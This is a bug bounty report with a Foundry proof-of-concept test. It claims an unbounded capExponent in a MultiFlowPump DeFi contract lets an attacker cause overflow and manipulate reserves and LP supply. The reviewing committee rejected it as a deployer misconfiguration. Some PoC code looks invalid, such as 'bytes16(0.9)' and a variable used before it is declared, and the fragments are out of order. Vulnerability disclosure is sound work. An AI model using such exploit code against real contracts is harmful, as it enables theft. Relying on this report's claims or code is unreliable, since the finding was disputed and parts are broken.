Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
The MultiFlowPump contract has a critical vulnerability in the way it calculates and uses the capExponent in the _capReserves, _capRates, and _capLpTokenSupply functions. This vulnerability arises from the potential for an excessively large capExponent, which can lead to overflow or incorrect calculations. This, in turn, allows an attacker to manipulate the reserves and LP token supply.
Vulnerability Details
Unbounded Growth of capExponent:
The capExponent grows with the deltaTimestamp and inversely with the capInterval. If a large deltaTimestamp and a small capInterval are used, the capExponent can become excessively large. For example, if deltaTimestamp is 365 days and capInterval is 1 second, the capExponent will be approximately 31,536,000.
Overflow and Incorrect Calculations:
An excessively large capExponent leads to large exponentiations in the _capRates and _capLpTokenSupply functions. This can cause overflow in the calculations, especially when using fixed-point arithmetic with libraries like ABDKMathQuad. Overflow can result in incorrect values for capped reserves and LP token supply, which can be exploited by an attacker.
Manipulation of Reserves and LP Token Supply:
With incorrect calculations, an attacker can manipulate the reserves and LP token supply to their advantage. This can lead to significant financial loss for other participants in the system.
Impact Details
The vulnerability in the MultiFlowPump contract due to the unbounded growth of capExponent is critical. It allows for overflow and incorrect calculations, enabling attackers to manipulate reserves and LP token supply. This can result in significant financial loss, loss of trust, market manipulation, and cascading failures.
Proof of concept
To demonstrate the exploit, we will create a scenario where we can manipulate the capExponent to become excessively large, leading to overflows or incorrect calculations in the _capRates and _capLpTokenSupply functions. This will allow us to manipulate the reserves and LP token supply.
Steps for the PoC:
Deploy the MultiFlowPump contract.
Initialize the contract with initial reserves.
Wait for a significant amount of time to pass to ensure a large deltaTimestamp.
Call the update function with manipulated parameters to create an excessively large capExponent.
Observe the manipulated reserves and LP token supply.
Step-by-Step PoC
Deploy the MultiFlowPump Contract
Initialize the contract with some initial reserves. This simulates the initial state of the pump.
Call the update function with parameters designed to create an excessively large capExponent.
Check the reserves and LP token supply to see if they have been manipulated.
Initialization: The contract is initialized with initial reserves and some capping parameters.
Time Manipulation: We simulate the passage of a significant amount of time to create a large deltaTimestamp.
Update with Manipulated Parameters: We call the update function with a small capInterval and large capping parameters to create an excessively large capExponent.
Observation: We read the manipulated reserves and LP token supply to verify the exploit.
Conclusion:
This PoC demonstrates how an attacker can manipulate the capExponent to create overflows or incorrect calculations in the _capRates and _capLpTokenSupply functions, leading to the manipulation of reserves and LP token supply.
BIC Response
Thank you for your report. Upon review, the BIC has determined that this issue can only occur if the pump data is set incorrectly by the deployer - the behavior you describe only arises due to an error in configuration rater than a bug in the code.
While it is true that anyone can permissionlessly deploy any one of these components, it does not follow that their security is guaranteed irrespective of their content - much like anyone can permissionlessly deploy a malicious smart contract on Ethereum.
Thus, we are closing this report and no reward will be issued.
uint256[] memory initialReserves = new uint256[](2);
initialReserves[0] = 1000 ether; // Example reserve for token 0
initialReserves[1] = 1000 ether; // Example reserve for token 1
pump.update(initialReserves, abi.encode(bytes16(0.9), 10, crp)); // Initialize with some parameters
3. Simulate waiting for a significant amount of time to ensure a large deltaTimestamp. In a test environment, you can manipulate the block timestamp directly.
// Simulate passage of time (e.g., 1 year)
uint256 timePassed = 365 days;
vm.warp(block.timestamp + timePassed); // Using Foundry's cheat codes to warp time
uint256[] memory newReserves = new uint256[](2);
newReserves[0] = 500 ether; // New reserve for token 0
newReserves[1] = 500 ether; // New reserve for token 1
CapReservesParameters memory crp;
crp.maxRateChanges = new bytes16[][](2);
crp.maxRateChanges[0] = new bytes16[](2);
crp.maxRateChanges[1] = new bytes16[](2);
crp.maxRateChanges[0][1] = ABDKMathQuad.fromUInt(10); // Set a large max rate change
crp.maxRateChanges[1][0] = ABDKMathQuad.fromUInt(10); // Set a large max rate change
crp.maxLpSupplyIncrease = ABDKMathQuad.fromUInt(10); // Set a large max LP supply increase
crp.maxLpSupplyDecrease = ABDKMathQuad.fromUInt(10); // Set a large max LP supply decrease
pump.update(newReserves, abi.encode(bytes16(0.9), 1, crp)); // Using a small capInterval to maximize capExponent
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "./MultiFlowPump.sol";
import "./ABDKMathQuad.sol";
contract MultiFlowPumpExploitTest is Test {
MultiFlowPump pump;
function setUp() public {
pump = new MultiFlowPump();
}
function testExploit() public {
// Step 2: Initialize the contract with initial reserves
uint256[] memory initialReserves = new uint256[](2);
initialReserves[0] = 1000 ether;
initialReserves[1] = 1000 ether;
CapReservesParameters memory crp;
crp.maxRateChanges = new bytes16[][](2);
crp.maxRateChanges[0] = new bytes16[](2);
crp.maxRateChanges[1] = new bytes16[](2);
crp.maxRateChanges[0][1] = ABDKMathQuad.fromUInt(10);
crp.maxRateChanges[1][0] = ABDKMathQuad.fromUInt(10);
crp.maxLpSupplyIncrease = ABDKMathQuad.fromUInt(10);
crp.maxLpSupplyDecrease = ABDKMathQuad.fromUInt(10);
pump.update(initialReserves, abi.encode(bytes16(0.9), 10, crp));
// Step 3: Simulate passage of time
uint256 timePassed = 365 days;
vm.warp(block.timestamp + timePassed);
// Step 4: Call the update function with manipulated parameters
uint256[] memory newReserves = new uint256[](2);
newReserves[0] = 500 ether;
newReserves[1] = 500 ether;
pump.update(newReserves, abi.encode(bytes16(0.9), 1, crp));
// Step 5: Observe the manipulated reserves and LP token supply
uint256[] memory manipulatedReserves = pump.readLastCappedReserves(address(this), "");
uint256 manipulatedLpTokenSupply = pump.readLpTokenSupply(address(this), "");
// Log the manipulated values
console.log("Manipulated Reserves: ", manipulatedReserves[0], manipulatedReserves[1]);
console.log("Manipulated LP Token Supply: ", manipulatedLpTokenSupply);
}
}